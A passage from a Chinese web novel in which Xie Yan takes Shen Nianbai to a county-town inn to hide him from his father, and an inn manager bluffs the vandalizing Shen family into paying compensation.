谢言也明白他说的,但现在他也没有什么好办法,沈熊那个人就跟个无赖一样,好赖话都听不进去。
过了一会儿,谢言的鼻血止住了,他看着不远处在树上躺着睡觉的沈熊,叫来了许承志问道:“你们谁跟他的交情好点?”
许承志摇摇头,“谢大哥,不瞒你说,我们这些人平时在村里都是被人欺负的,沈念玉沈念英从来不会跟我们说话,更别说沈三叔了,他每次见我们不骂上一两句都算好的。”
谢言不明白他的意思,“他在村里这么霸道?”
许承志道:“不是他霸道。是我们的地位太低了。”
谢言在心里叹了口气,看来家家都有本难念的经,他拍了拍许承志的肩膀,打消了让他们去跟沈熊谈条件的心思,还是等沈熊冷静下来,他在亲自去跟他说吧。
谢言不放心沈念白,于是在下午的时候提了一篮子水果上了山,来到山洞前,远远的就看到沈念白在山洞前的石头上坐着,以前他们还住在山洞的时候,谢言晚上吃饭都是坐在那块石头上。
阳光透露缝隙落到沈念白身上,亮晶晶金灿灿的,照得他的发丝都在发光。听到声音沈念白扭头看了过来,正好对上谢言的眼睛。
他看着谢言被划伤的鼻子,轻轻地喊了一声,“谢言哥。”
就好像最初那样,只不过当时的他是怯生生的,而现在他的语气不在怯生生却多了些谢言听不懂的意味。
谢言走到他面前,“饭吃了吗?”
沈念白回道:“吃了。”
能吃饭就好,谢言蓦地松了一口气,他道:“摘了点李子,吃着打发时间。”
沈念白的眼眶突如其来的盈满了泪水,他说:“谢言哥,我想去县城找个活干。”
谢言一听就皱起了眉,他说:“你别管他们,我会有办法的,你只管安心待着,我肯定会处理好的。”
沈念白的视线扫过他急切的脸,他突兀地笑了笑,不知道是想说服谢言还是想说服自己,“谢言哥,
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我想去县城,我从来没有去过县城。”
谢言想也不想就脱口而口,“不准。”
沈念白不在看谢言,他抬着头看着树梢,阳光被他眼眶里的泪折射出五彩斑斓的色彩。“你说过的,要是哪一天我想离开了,随时都可以离开的。”
他的语气依旧很轻,但却让谢言感觉到心口一窒。
谢言不自觉的提高了声音,“我说了我会解决好的,你为什么不信我?在你心里我就这么没用?”
他的声音惊飞了鸟,展翅的声音在安静的树林里很清晰,沈念白没有看他,也没有说话,只是没有忍住轻轻地眨了一下眼睛,眼泪静静地顺着脸颊滑落,不知道掉到哪里了。
谢言皱着眉,稍微放低的语气,“你相信我,我可以处理好的。”
沈念白转头看向他,他没有在眨眼睛,一瞬不瞬的盯着他看,“那你以前说过的话不算数了吗?”
谢言看出来他下定了决心,可他却不死的问道:“如果他们没来,你也会走吗?”
“会。”在谢言话音落下的瞬间,沈念白就斩钉截铁的回答了他。
“好,你走吧。”谢言感觉心口被狠狠地锤了一拳,他不在挽留,他甚至想沈念白可能早就想走了,今天终于等到了这个契机。
沈念白猛地站了起来,抬脚就往山下走,谢言看着他的背影负气的闭了闭眼睛,但很快就追了上去。
“你现在下山,你还没县城就被沈熊抓回去了。”
沈念白没有停,谢言气得咬牙,他继续道:“晚上我送你去县城。”谢言拉住了沈念白的手腕,“你一个人去县城被人骗了都不知道,我去找钟大哥,他对县城熟,给你找个活干不成问题。”
沈念白拒绝了他,“不用。”
谢言皱着眉,“听话。”
沈念白抿了抿唇,到底是没有在说话了。两人都缓了一会儿,谢言继续说道:“现在跟我回去收拾行李。”
沈念白不放心,“万一被沈熊看见了?”
谢言道:“那你在山上等我,我去给你收拾行李。”说完又担心沈念白自己走了,于是又说道,“你要是走了,我追到县城也要把你追回来的。”
沈念白没有说话,谢言问他,“听到了没有。”
沈念白回道:“听到了。”
谢言确定的说道:“要在山上等我。”
沈念白应道:“嗯。”
谢言再三确定后才下了山,柳梦寒已经在做晚饭了,宋家的人见他忙不过给他帮忙,他轻松了不少,现在见谢言回来,连忙上前问道:“怎么样了?”
这事是瞒不住的,谢言实话说道:“他要去县城,我现在去给他收拾行李。”
柳梦寒一听,瞬间也动了心思,本来他就是打算去县城的,但随即看到家里这么多口人等着吃饭,沈念白走了他要是也走了,谁做饭呢?而且沈念白是出去辟祸的,不定什么时候就回来了,他不能去给谢言添乱。于是他也就没提这个话了。
52.第 52 章
收拾行李的时候谢言才发觉沈念白的东西少得可怜,除了几套衣服,就几根木簪子,都是沈念白自己做的。衣服都是谢言买的最便宜的布料做的,粗布麻衣什么纹样都没有,簪子都是山上的青杠树削成的,同样没有纹样,看起来跟筷子没什么分别。
衣服叠得好好的放在竹箱的最下面,上面的是谢言的衣服,难怪每天晚上谢言从来不用花力气去翻。
行李很快就收拾好了,谢言站在屋中环顾四周,除了竹屋,屋里的家具都是沈念白亲自做的,柜子,床,桌子,椅子。
谢言现在一静下来就开始回忆沈念白坐在门前低着头做物件的场景,阳光打在他的身上,他抬头看向谢言,嘴角带着清浅的笑意,雀跃的喊他,“谢言哥。”
谢言开口想回答,但回忆里的人已经先一步开了口,他抿了抿唇,快速的眨了眨眼睛,放下篮子出了门。
一出门就听到牛棚里黄牛在嚎叫,谢言这才想起来今天上午就喂了一背草,下午还没喂,于是收拾起心情,背着背篓上山割草去了。
谢言割草的时候心不在焉的,突然手上一痛,他赶紧停了手,只见小拇指被镰刀割了一个口子,正在大肆的流血。钻心的刺痛让谢言皱了眉,他四处看了看想找个东西包扎伤口,但没有找到,他张口想喊人,可又意识到他想的人已经没在了,便又没有吭声,忍着痛意割完了草。
最后装草的时候,谢言才看到手指的伤口已经没有流血了,但伤口血糊糊的一片,看着伤口已经不浅。
谢言背着草回家喂了牛,但不够,于是谢言又背着背篓上了山,谢言又割了两背牛草,回家的时候天都已经黑了,谢言心情不好,吃了饭就提着行李以饭菜上了山。
山上黑漆漆的,尤其是进入林子里后更黑了,林子茂密连月光都照不进来,各种奇奇怪怪的声音在黑暗中尤其显眼,脚步声白天山上时没听到,现在却听得异常清晰。
谢言加快了脚步,林子里的声音越来越大,他知道是风吹树叶的声音但还是抑制不住的担心,他甚至跑了起来,跑了好久好久他终于来到了山洞前,在看到那个依稀的影子时他松了一口气,“念白。”
沈念白应了一声,“嗯。”
谢言道:“我带了饭菜,吃了再走吧。”
“好。”
谢言走到沈念白面前,摸黑将饭菜递给他,黑暗中他清晰的感受到沈念白碰到了他的手,温热的软软的,即便碰到了伤口他也没有出声。
沈念白没有说什么,接过去就开始吃,从声音听得出来他吃得很急,谢言说道:“慢慢吃,不着急,一晚上呢,怎么也够去县城了。”
话音一落他就没有听到沈念白的声音了,他似乎停了下来,谢言问道:“怎么了?”
沈念白平静的回道:“没什么,吃完了。”
“这么快?”不怪谢言惊讶,因为沈念白吃饭向来不快的,而且今天晚上柳梦寒还特意给他多装了一些,这才一会儿竟然就吃完了。
沈念白道:“嗯,我们走吧。”
谢言只当他是饿着了,也没有多想,起身道:“走吧。”
两人一前一后的下了山,往县城走去。
出了山就比在林子里亮了一些了,虽然还是黑漆漆的,但是熟悉路还是能走,沈念白紧紧的跟在谢言后面,一步都不敢离远了。
穿过一片林子时,完全看不清路,谢言也只是摸索着走,于是他朝沈念白伸出手,“我拉着你。”
这种时候要是摔倒了更麻烦,所以沈念白也没有拒绝,拉上了谢言的手,一股钻心的痛疼传来,谢言才意识到他把受伤的那只手伸过去了,但他咬了咬牙并没有说出来,两人拉着走过了这一片漆黑的树林。
出了树林又稍微能看见一点了,沈念白便放开了谢言的手,温软的触感褪去,手指上的疼痛被心里的失望冲淡,他甚至不知道这种失望的感觉究竟代表着什么,他知道他希望这条路永远都没有尽头,就算要永远待在黑暗里他也愿意。
可谢言的心愿注定不会实现,在长的路都是尽头的,就像现在谢言看着挂着灯笼的城门,他心里莫名的升起了一股抵触的情绪。
可即便谢言在不想去,都走到这里了,他也得去。
城门还没有关,谢言带着沈念白径直往天悦酒楼而去。
路上谢言想跟沈念白才发现沈念白还跟在他身后,他转头看向沈念白,见沈念白只是低着头,并没有他想象中第一次来县城新奇雀跃的样子。
“我们去天悦酒楼找钟大哥。”
一开口谢言才觉得嗓子干得很,他这才意识到,这一路他们竟然都没有说话,沈念白不是个话多的人,谢言也不是,可是他们在一块几乎没有像现在这样,一直沉默的时候。
谢言把这种变化归咎在沈熊身上,沈念白一定是害怕他才要离开灵秀山,才心情不好的。
“好。”
过了好一会儿谢言才听到了沈念白的回答,知道沈念白心情不好,谢言也没有能让他开心起来的办法,也只有沉默着。
来到天悦酒楼,此时已经过了饭点了,天悦酒楼大堂基本上没有什么人,只有小二在打扫。
小二听到声音看了过去,热络的与他打了招呼,“谢老板。”
谢言朝他点了点头,算是回应了,随即问道:“钟大哥在吗?”
小二回道:“在楼上,我带你上去吧。”
谢言拒绝了,“你忙吧,我知道地方,我自己上去就是。”
谢言算是天悦酒楼自己人了,小二也没有坚持,“好。”
谢言带着沈念白上了楼,沈念白跟在谢言背后低着头看不清神情。
来到钟程台的门前,谢言抬手敲了门,喊了声,“钟大哥。”
钟程台听到他的声音欣喜的应道:“快进来。”
谢言推开门,钟程台还是老样子,坐在小塌上自己跟自己下棋。谢言客气的喊了声,“钟大哥。”
钟程台热情的招呼他,“快进来坐
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谢言进门,此时钟程台才看见了沈念白,他惊讶道:“怎么弟弟也来了?”
谢言知道沈念白不自在,低声与他说道:“坐。”
沈念白微不可见的点了头,两人一道落了座,谢言这才说起了来意,“钟大哥,此次前来我是有事想求你帮忙。”
钟程台见他说得这么严重,连忙问道:“出什么事了?”
谢言道:“我弟弟想来县城做活,但我们在县城又不认识别的什么人,只能来麻烦钟大哥,看能不能给我弟弟找个活干。”
钟程台闻言都笑了,“我还以为是什么大事呢,就这事啊?”
谢言点头,“就这事。”
钟程台的视线扫过两人,爽快的答应了下来,“行啊,打算做什么?”
沈念白一直低着头,也没有回答,谢言见状便轻声问道:“念白,你想做什么?”
这时沈念白才意识钟程台在跟他说话,连忙抬头回道:“都..都行,我不挑的。”
钟程台笑道:“都是自己人,别紧张,想说什么就说什么。”
沈念白见钟程台笑了,一瞬间脸都红了,他磕磕巴巴的说道:“我..是..好。”
钟程台见状也没有与他多说了,转而与谢言说道:“既然还没想好要做什么,不如暂时就留在我这里,你觉得怎么样?”
谢言道:“钟大哥愿意帮忙,谢言感激不尽。”
钟程台摆手道:“举手之劳,你说得太严重了。念白的厨艺很好,不如就在后厨帮忙?”
谢言道:“都听钟大哥安排。”
钟程台问道:“打算什么时候开始做?”
谢言道:“我们行李都带来了,不打算回去了。”
钟程台明白他的意思,“那就先住下来,休息几天,等适应了在干活,工钱就从明天开始算。”
沈念白在场,谢言也不好多说什么,只是道了谢,“谢谢钟大哥。”
钟程台道:“刚好楼下还有一间空房,我叫佳华把念白带过去。”说罢就朝外面喊了声,“佳华。”
话音一落,张佳华的声音就响了起来,“来了。”
没一会儿,张佳华就进来了,看到谢言和沈念白很欣喜,“谢老板,念白兄弟也来了。”
谢言起身道:“以后要麻烦张哥了。”
见谢言起身,沈念白也跟着起了身,张佳华有点懵,“这啥意思啊?”
钟程台道:“念白要留下来做工,你带他到楼下的房间安顿下来。”
张佳华愣了一下,不敢置信的看了沈念白和谢言一眼,见他们没有半分开玩笑的意思,又见沈念白局促的样子,张佳华虽然疑惑但还是没有当场问了出来,只是说道:“念白兄弟,跟我走吧。”
谢言想着一会儿在来打扰钟程台不太妥当,于是与沈念白说道:“你先跟张哥去,我跟钟大哥说几句话。”
沈念白点了点头,没有说话,提着篮子跟着张佳华出门走了。
53.第 53 章
屋内只剩下谢言和钟程台,钟程台看着谢言并没有说话,这种太过私密的事谢言不说他也不好问,于是就安静的等着谢言开口。
谢言重新坐下后思绪万千不知从何说起,他顿了一会儿才与钟程台说道:“钟大哥,我家里出了点事,等我把事情处理就会把念白接回去,这段时间就麻烦你多多照顾他了。”
话说到这儿,钟程台才顺势问了一句,“出什么事了?”
谢言愁眉苦脸的一时没有说话,钟程台见他不想说也没有强迫他,接着他刚才的话题说道:“你放心吧,我会好好照顾他的,就当来县城玩一段时间散散心,你也不要太担心。”
谢言心里感激,这才说了他的困境,“钟大哥,五年前念白被家里逼着到灵秀山寻短见,被我撞见就救了他,至此我们就一直在灵秀山生活,但今天沈家的人不知道从哪儿听说了沈念白在灵秀山中,找来要将他带回去。”
钟程台一听就知道是因为跟天悦酒楼做生意才会泄露消息,听罢也皱了眉,“这事是不好处理。”
于情于理,沈念白也是沈家的人。
谢言道:“所以我迫不得已才带他出来避风头。钟大哥,念白的花费都记在我的账上,过段时间我来销账。”
钟程台摆手,“你我兄弟不说这些。”
谢言道:“你已经帮了我许多了,我不能让你吃亏。”
“这算什么吃亏,咱们兄弟不说这些,这事就这样定下来。”说罢钟程台转了话题,“上次摘来的辣椒我们小范围的试验过了,大部分的食客还是喜欢的。枇杷和荔枝也很受欢迎,我打算明天让佳华再去一趟。”
谢言应承道:“好,山上的李子桃子都熟了,玉米也熟了,都可以摘了。”
县城是没有玉米的,上次钟程台去灵秀山时看到了玉米地,那时候谢言就介绍了玉米,听起来还是很不错的。
钟程台道:“行,你看着办就是。”
话说完了,谢言起身,“不打扰钟大哥休息,我去看看念白。”
钟程台挽留他道:“天这么晚了,就在店里住一晚上,明天早上和佳华一起回去。”
“那就麻烦钟大哥了。”谢言也没有推辞,应了一声后转身出了门,刚好在门口遇到了张佳华,张佳华知道他要去找沈念白,给他指了路,“下了楼梯后进后院数过去第三间房就是。”
谢言道了声谢后匆匆去了,张佳华看着他的背影微微笑了笑,抬脚进了屋。
谢言照着张佳华说的来到了后院的第三间房,昏黄的光线从门板的缝隙中透出来,照亮了谢言的路,他上前敲了门。
‘叩叩叩’的敲门声在安静的后院很清晰。
“来了。”
熟悉的声音让谢言的心里泛起不一样的苦涩滋味,以后沈念白就要留在这陌生的地方了。
门开了,沈念白与谢言相对而立,一时间谁也没有说话,过了好一会儿,沈念白才率先移开视线,错开了身,喊了声,“谢言哥。”
谢言抬头扫了一眼屋内,很简单的陈设,桌椅,床柜子,房间虽然不大,但还是比竹屋宽敞些。
谢言进门,明明他有很多话想说,可又不知道该说什么,他在屋里转了一圈,最后与沈念白说道:“以后要好好照顾自己,要是遇到困难随时回家来。”
沈念白低下头,轻轻的吸了吸鼻子,他说:“嗯,放心吧,我会照顾好自己的,你.与梦寒也要好好的。”
谢言点了头,“你好好休息,我走了。”
在谢言出门的时候,沈念白喊住了他,“谢言哥。”
谢言转身看他,“怎么了?”
沈念白问道:“你现在就要回去吗?”
谢言实话说道:“明天一早回去。”
“哦。天这么晚了,是应该明天早上回去的。”
谢言点头,“嗯,明天张哥要去灵秀山,正好就一路了。”
沈念白道:“那你也早点休息吧。”
谢言点了点头,转身走了,出门的时候把门给带上了,门一关他的身影就消失在了沈念白的眼中,沈念白憋不住立马就红了眼眶,他站在房间中看着那扇关上的门久久都没有动。
谢言一到大堂,就听见张佳华喊他,“谢言。”
谢言抬头看去,只见张佳华靠在二楼的栏杆扶手上含笑看着他,有些吊儿郎当的帅气。谢言喊了声,“张哥。”
张佳华朝他摇头示意,“楼上有空房,上来我带你过去。”
谢言上了楼,张佳华手指甩着钥匙,随口问了他道:“念白兄弟还习惯吗?”
谢言随口回道:“习惯。”
张佳华道:“你跟他说来到这儿就跟回家一样,自在些,有什么需要就跟我说。”
谢言点头,“谢谢张哥。”
张佳华拍了他的肩膀,“客气了不是。”
来到三楼一间紧闭的房门前张佳华停了下来,拿钥匙将门打开,“今天晚上就住这儿,有什么需要直接喊小二就是。”
谢言道:“谢谢张哥。”
张佳华道:“行,早点休息,明天早点起。”
谢言点了头,张佳华便走了,等他走远了,谢言这才关了门,转身的时候他深吸了一口气。
谢言失眠了,躺在床上翻来覆去的睡不着觉,脑子不受控制的回想在灵秀山的过往,从最开始遇见沈念白,他躺在地上干巴巴的像个竹竿子,从最开始的局促,到后面含着笑喊他,“谢言哥。”
谢言心里很不是滋味,但他搞不清楚这种奇怪的难受感究竟是什么,是家人被迫分别的苦楚吗?
谢言在这个世界上没有亲人,他也没有与人分别过,他搞不清楚。
谢言清醒的想了一晚上,除了难受什么都没想明白,他甚至不知道该怎么对付沈熊。
后院的鸡鸣声响起,谢言才意识到天都快亮了,他按了按太阳穴,从床上坐了起来,被子没有打开,也不用叠,穿上鞋就出了门,来到走廊就看到张佳华在大堂坐着打呵欠,面前放着的早饭还是冒热气。
谢言下了楼,张佳华喊他,“谢言,过
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来吃早饭。”
谢言应了一声,环顾四周没有看到沈念白,便默默地坐下了。张佳华知道他在找什么,与他说道:“念白兄弟在厨房呢,这些早饭就是他做的。”
谢言有些讶异,“他做的早饭?”
张佳华道:“对啊,他不知道多早都起来了,我起来的时候他早饭都做好了。”
谢言没忍住站了起来,“我看看他去。”
“你别空着手去,”张佳华递给了他一碟酥饼,“把这个带上。这么多我们也吃不完。”
有了他这句话,谢言这才接了过来,端着酥饼去了后院,谢言本来想去沈念白的房间的,但是听到厨房有动静于是先去了厨房,就看到沈念白洗菜,旁边还有一个年轻男人在洗锅。
谢言喊了一声,“念白。”
沈念白抬头看向他,起身朝他走了过来,年轻男人听到声音也看了过来,谢言对上他的视线,年轻男人问道:“你是?”
谢言回道:“谢言。”
年轻男人客气的笑了笑,“哦,原来是灵秀山的谢老板。我叫张乘风,是酒楼的厨子。”
谢言客气的朝他点了点头,然后带着沈念白走远了一些,“吃早饭了没有?”
沈念白回道:“吃过了。”
谢言示意的看着手中的酥饼,“张哥担心你没有吃饭,特意让我给你拿来的。”
“我真的吃过了,谢言哥,你自己吃吧,我要回去干活了。”沈念白说完没有在给谢言说话的机会就低着头跑回了厨房。
谢言看着他的背影又看了一眼手里的酥饼,转身往外面走,路过厨房的时候听到张乘风在说话,“你哥哥很关心你嘛,还给你送早饭。”
沈念白低低的应了一声,没有说别的,谢言垂着眼眸回到大堂将酥饼重新放到了桌上。张佳华看着没有动过的酥饼,“念白兄弟没胃口啊?”
谢言回道:“他吃过早饭了。”
“哦,这么早就吃过了。”张佳华随口说了一句,然后与谢言说道,“你没吃过吧?”
谢言没有胃口,随便找了个借口,“太早了,我现在还不饿。”
张佳华点了头,“揣几个酥饼在身上,等会儿走饿了在吃吧。”
“嗯。”
张佳华说完起身,让小二将酥饼给包了起来,与谢言说道:“没事就出发了。”
谢言起身看了后院一眼,“走吧。”
张佳华见他念念不舍的样子,“要去跟念白兄弟说一声吗?”
谢言叹了口气,“算了,昨天说过了,走吧。”
张佳华也没有劝他,一行人就上了路。
一路上谢言都没有说话,张佳华也看出来他心情不好,也没有说话。
回到灵秀山,太阳已经老高了,远远的就听见了争吵声。
“把人交出来,把人藏起来还有理了?”
“一群土匪,我要去报官抓你们。”
“真以为占了个山头就能为所欲为了。”
“你说什么,谁是土匪了?”
54.第 54 章
谢言一听就知道出事了,连忙往家赶,回家一看,只见沈熊旁边站了十来个人,相貌有些相似,看起来应该都是沈家的人。他们气势汹汹的,逼得许承志一行人不停的后退。
看到谢言回来,柳梦寒连忙大喊,“谢言哥,他们来砸我们的东西,果树都砸坏了几颗,玉米地踩倒了一大片。”
谢言本来就有火,只是一直压着,现在听到柳梦寒的话瞬间就压不住了,走到柳梦寒面前,正面对着沈熊,冷声道:“砸了什么东西,全部清点出来。擅闯民宅,肆意强砸,是强盗所为,马上去报官。”
沈熊完全不虚,“你别以为说几句文绉绉的话,我就会怕了,是你先把我儿子藏起来了。”
谢言冷声道:“你说我藏起来,证据呢?”
沈熊道:“我亲眼看见了。”
张佳华冷冷的扫了沈熊他们一眼,嘴角却带着笑意,“谢言的东西都卖给我们天悦酒楼了,你打砸的可是我们天悦酒楼的财,我不管你是找人还是找黄金,你毁坏了我们天悦酒楼的东西,这可说不过去。”
沈熊却不信他的,“你从哪儿冒出来的,谢言还请上帮手了,哼,天悦酒楼,我还地藏客栈呢。”
张佳华道:“你信不信无所谓,但你要付出代价是真的。”说罢吩咐随从,“马上回去跟掌柜的汇报此事,就说我们的货被一伙儿强盗砸了,让他去找知县大人做主。”
随从立马应声,“二掌柜的,我马上就去。”说完飞快的跑了。
张佳华指使另外一个随从,“给我搬张椅子来。”
随从赶紧搬了一张椅子过来,张佳华坐下后,又与随从说道:“走了一路饿了,把糕点给我。”
随从赶紧从马背上的包裹翻出点心放在了张佳华面前,谢言见状与柳梦寒说道:“给张哥倒水。”
“哦。”柳梦寒赶紧去给张佳华倒了水,“张哥喝水。”
张佳华翘着二郎腿,靠在椅背上,一只手拿着糕点,抬头冷冷的看着沈熊一行人,“天悦酒楼的掌柜你们不认识,那娄知县认识吗?那是我们掌柜的表姑父。”说着又转头看向谢言,闲话般的说道,“哎哟,我们平安县真是太平久了,好久没有出过强盗了,娄知县要是知道灵秀山里还有这么一伙凶恶的土匪,晚上做梦都要笑醒了。”
谢言顺着张佳华的话说道:“是啊,历来土匪强盗为祸一方,知县大人抓了他们这可是大功一件,借此契机说不定能连升三级,坐一坐知府的位置呢。”
张佳华笑了笑,“去把打砸的东西清点出来,等会儿好上报给娄知县。”
许承志他们听到张佳华的话,本来萎靡不振现在都跟打了鸡血似的,连忙说道:“谢大哥,我们马上去清点。”
沈家人见他们这么有底气,不像是说着唬人的,心里当时就没底了,沈熊的大哥沈虎将沈家所有人叫到一边商量,沈虎低声说道:“看他们这样子,不像是唬人的。”
沈熊的二哥沈豹也同意他的说道:“是啊,看他那样子,上头真有人啊。”
沈熊却不怕,“他有人,我们有理啊,他就是把我儿子藏起来了,他不肯交出来我砸他点东西怎么了?”
沈虎道:“人家是知县,一句话不对就能把你关进大牢里,你没听他们那个意思,还要杀了你去升官呢。”
“啊?”沈熊这才有点怕了,“不会吧,我们又没有做错,说杀就杀啊。”
沈豹道:“反正这事跟我没关系,我是跟着你们来的,这事我不掺和了,你们想怎么怎么吧,别把我扯进来。”
沈豹说完就走到张佳华面前,“那个,二掌柜的,这事跟我可没有关系,我就是听说念白在这儿,过来看看,没想到闹了误会,既然人没在,我就不多打扰了。”
张佳华似笑非笑的看向他,“砸了东西说句话就想走啊?”
沈豹连忙解释:“天地良心,我沈豹对天发誓,我绝对没有砸东西。”
张佳华道:“既然你敢对天发誓,那我就信你一回。”
沈豹长舒了一口气,“多谢二掌柜的。那我就先回去了。”沈豹说完就招呼着他的三个儿子急匆匆的跑了。
沈虎一看,老二都跑了,他还留着这儿等着县令来抓他吗?于是也赶紧跟张佳华说道:“二掌柜,这事也不关我的事啊。老三昨天一夜没回,我娘就叫我来找他,这人既然找到了,我也得赶紧回去跟我娘说一声,免得她老人家担心。”
张佳华看着沈虎没说话,沈虎被看得心虚,也学着沈豹的样子对天起誓,沈熊一看大哥二哥都跑了,那岂不是只有他一个要砍头了?于是也连忙说道:“二掌柜的,也跟我没关系啊。”
张佳华听着沈熊的话皱了眉,“跟你们都没有关系,那树是自己折的?玉米是自己倒的?”
沈熊道:“我们轻轻一碰,就倒了,可能本来就要死了。”
柳梦寒气得要死,听到他的话脱口而出,“你才要死了。”
沈熊本来就害怕知县把他捉去砍头,听到柳梦寒的话更是害怕了,他忙道:“那我赔给你们总行了吧。”
谢言道:“知县大人事情忙,咱们在知县大人来之前就把事情说清楚,现在你们可以上山去搜,只要你们能找沈念白,证明是我把他藏起来,这件事就算是我的错,但如果你们找不到,那你们就是强盗。”
之前许承志他们一直拦着沈熊他们不让上山,现在沈熊听到谢言愿意让他们上山,马上就要应承下来,沈虎一看不对劲,连忙捂住了沈熊的嘴巴,拖着他来到旁边,“你要答应,你疯了?”
沈熊“呜呜呜呜”的说不出话来,沈虎这才放开了他,沈熊道:“我确定沈念白在山上,只要找到他就能证明我们是有理的,是他把人藏起来了。”
沈虎骂他,“笨蛋,他都敢让你搜了,会让你搜到吗?”
沈熊道:“可是人真的在山上,昨天我亲眼看到他跑上去的。”
沈虎无语,
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“你虎啊,昨天看见的,说不定昨天晚上人就走了,关系都挂到知县那儿去了,还在山上等着你去捉啊。就算人在山上,他在这儿生活了这么多年,对这儿不比你熟?这么大几座山,上哪儿找去?”
说得有道理,但沈熊还是不甘心,“那就这样算了?我可养了他十几年啊。”
沈虎想了想,“也不能就这么算了,但是今天肯定是捞不着好了,真等知县来了,想跑都跑不了了,念玉跟念英都要受牵连,他们还没成婚了,这要是砍了头就算了,要是没砍成,以后谁会嫁给他们。”
沈熊不认同他的话,“什么叫砍了头就算了,砍了头我不就绝后了嘛。”
沈虎无语得都不知道该怎么说了。
旁边的沈念玉跟沈念英互相看了一眼,拔腿就跑,沈熊大声喊道:“诶,事情没完呢,你们跑什么?”
两人就跟背后有鬼追似的,一溜烟的就没影了,沈熊骂骂咧咧的两句,又问道:“大哥,那你说现在怎么办?”
沈虎道:“咱们不能得罪县令,要不然我们家怎么死的都不知道。这样,你去跟二掌柜的道歉,把该赔的钱赔了,等他们走了,咱们在来。”
沈熊不大情愿,“还要道歉?”
沈虎没好气的说道:“这事是你挑起来的,不是你去难道是我去?”
沈熊没了办法,不想坐牢不想砍头,只能去给张佳华道歉,“二掌柜的,这事都是我的不是,该赔的我都认了。”
沈虎也在旁边帮腔,“是啊,该赔多少我们都认,这点小事就别麻烦知县他老人家,这里这么偏僻跑一趟也累得慌。”
柳梦寒愤愤不平,“这事不能这么算了。”
张佳华看向谢言,“你觉得呢?”
谢言想着沈熊毕竟是沈念白的父亲,虽然有错,但也不能因为这事把他送去砍头,于是就道:“他们也是爱子心切,要不然,该赔的赔了,保证以后不在来胡搅蛮缠,就饶过他们一回?”
张佳华挑了眉,倒是有些诧异谢言会这样说,他收回视线看向了沈家人,“既然谢老板开口了,那我也给他一个面子。”
沈虎连忙道:“多谢二掌柜的,多谢二掌柜的。”
张佳华道:“不用谢我,要谢就谢谢老板。”
沈虎朝谢言说道:“谢谢谢老板。”
沈熊看着谢言愣是开不了口,沈虎见状赶紧拐了他一下,沈熊还是没开口,于是沈虎又拐了他一下,沈熊还是没说话,沈虎忍不住了,“你说啊,哑巴了。”
沈熊这才不情不愿的说了句,“谢谢谢谢老板。”
沈虎连忙打圆场,“我这个弟弟就是这样,谢老板莫见怪。”
柳梦寒哼了一声,转过了身不在看沈家人。谢言缓了语气说道:“咱们都是小叶子村的,有事好好说,不要动不动就动手,闹成这样对大家都不好。”
沈熊气得脸都红了,偏偏沈虎还应道:“是是是,谢老板说得对。”
55.第 55 章
许承志他们的动作很快,就说话的这点功夫就把沈家人损坏的东西全都清点完了。
两颗李子树,三颗桃树,一颗荔枝树,两颗枇杷树,还是一百三十六颗玉米,还有一些杂七杂八的菜,许承志他们不认识,所以不知道名字。
许承志在报数的时候沈熊一直瞪着他,凶狠的表情看着要打人一般。谢言上前挡在了许承志面前,“有不满可以直接说出来,瞪人没有用。”
沈虎连忙拉了沈熊,赔着笑跟谢言解释,“他就长这样,看起来凶巴巴的,但是没有坏心思。”
张佳华适时的插了话道:“在不把事情了结了去追人,等会人都到县城了,等县太爷来了,有什么不满可以跟他老人家说去。”
沈虎听了连忙道:“二掌柜的,你看咱们都说好了,是不是先去把人给追回来?”
张佳华开口就道:“一共五百文,赔了就去追人。”
在场的沈家人在场都瞪大了眼睛,“五百文?就这点东西要五百文?”
张佳华扫着沈家人,加了一句,“要是树死了,还要在加十倍。”
沈虎心头一震,五百文加十倍那得多少钱啊,他连忙道:“没死,只是断了几根枝丫,就当修枝了,明天会长得更好的。。”
沈虎说完就看向了许承志,“你说啊。”许承志老实说道:“是断了几根枝丫,但明天能不能长得更好,我不知道。”
沈虎无语的“哎哟”了一声。
张佳华道:“那就先赔五百两。”
沈家人震惊,“啊?”
张佳华淡定的改了口,“口误啊口误,平时说惯了,五百文。”
沈熊非常不乐意,“这点东西哪里值五百文?五十文差不多。”
沈虎觉得钱太多了,也帮腔道:“是啊,二掌柜,咱们都是农民,这些东西就是卖出天价也值不了这个钱啊。要不你看着少点?”
张佳华丝毫不让,“在天悦酒楼就是能卖这个价,你们要是不信,可以亲自去天悦酒楼看看。”
沈家人虽然不情愿,但既说不过张佳华,又害怕真把县令招来了,最后还是沈虎拍了板,“二掌柜的,我们今天出门没有带钱,你看明天给你送来行不行?”
张佳华笑着道:“行啊。”
听他这么容易就答应了,沈家人刚松了口气,结果就听张佳华接着说道:“明天送到县衙大牢去吧。”
“啊。”沈家人刚放下的心又提了起来。
沈虎连忙道:“二掌柜的,不是我们唬你,我们真的没有带钱。要不,你让我们现在回去取吧。”
几个人轮番说情,眼看天色也不早了,张佳华还有正事要干也不想在跟他们掰扯下去,于是就同意了,“行吧,我也不是不讲道理的人,只不听我收了货就要赶回去,要是在回去之前没有收到钱,我就亲自去跟我们掌柜说道说道。”
沈虎连忙拍着胸脯打包票,“二掌柜你放心,我们一定给你送来。”
说完沈家人急匆匆的就跑了,柳梦寒看着他们的背影还不消气,“真是太便宜他们了。”
谢言道:“张哥,我去把人追回来吧。”
张佳华摆摆手,“不用。”
众人都不解其意,张佳华卖了个关子,“等会你们就知道了。走吧,上山收货。”
谢言带着张佳华一行上了山,已经是盛夏了,果子陆陆续续都熟了,李子,桃子,芒果,桂圆,葡萄,哈密瓜,西瓜。张佳华每样都摘了些,天热了多了也放不住,而且很多果子之前没人吃过,也不知道销量如何,所以不用采太多。
地里的菜现在也大批量的出了,玉米,丝瓜,黄瓜,嫩南瓜,茄子,番茄,豇豆,四季豆,还有最重要的辣椒。
装了满满四大筐,从山上下来的时候午时都过了,几人吃午饭的时候沈虎把钱送来了,“二掌柜,我送钱来了。”
张佳华让随从把钱收了,“下次别这么冲动了,灵秀山是我们天悦酒楼罩着的。”
沈虎跑得满头大汗,脸红通通的,他连连点头,“二掌柜放心,以后我们绝对不干傻事。”
张佳华也没有太为难他,“回去吧。”
走之前沈虎确认的问道:“二掌柜,去县城的人追回来了吗?”
张佳华朝他扬了扬下巴,“老吴。”
吃饭的人应了一声,沈虎看过去,确实是去县城的人,他这才放下心来,“不打扰二掌柜了,我先回去了。”
张佳华“嗯。”了一声,沈虎这才走了。
此时谢言才想起这茬,问了张佳华,“张哥,这是怎么回事啊?”
都没人去追,怎么就回来了呢?
张佳华笑道:“我们在外面跑的经常遇到胡搅蛮缠的,就用这种方法吓唬人。”
